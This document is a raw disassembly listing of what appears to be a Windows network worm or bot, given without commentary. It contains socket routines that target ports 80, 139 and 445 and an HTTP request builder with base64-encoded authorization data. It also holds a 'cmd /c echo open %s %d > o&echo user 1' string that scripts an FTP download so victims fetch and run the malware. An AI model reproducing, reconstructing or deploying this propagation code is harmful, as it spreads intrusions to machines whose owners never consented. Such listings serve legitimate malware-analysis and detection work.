		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		call	near ptr 26A0000h
		nop


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
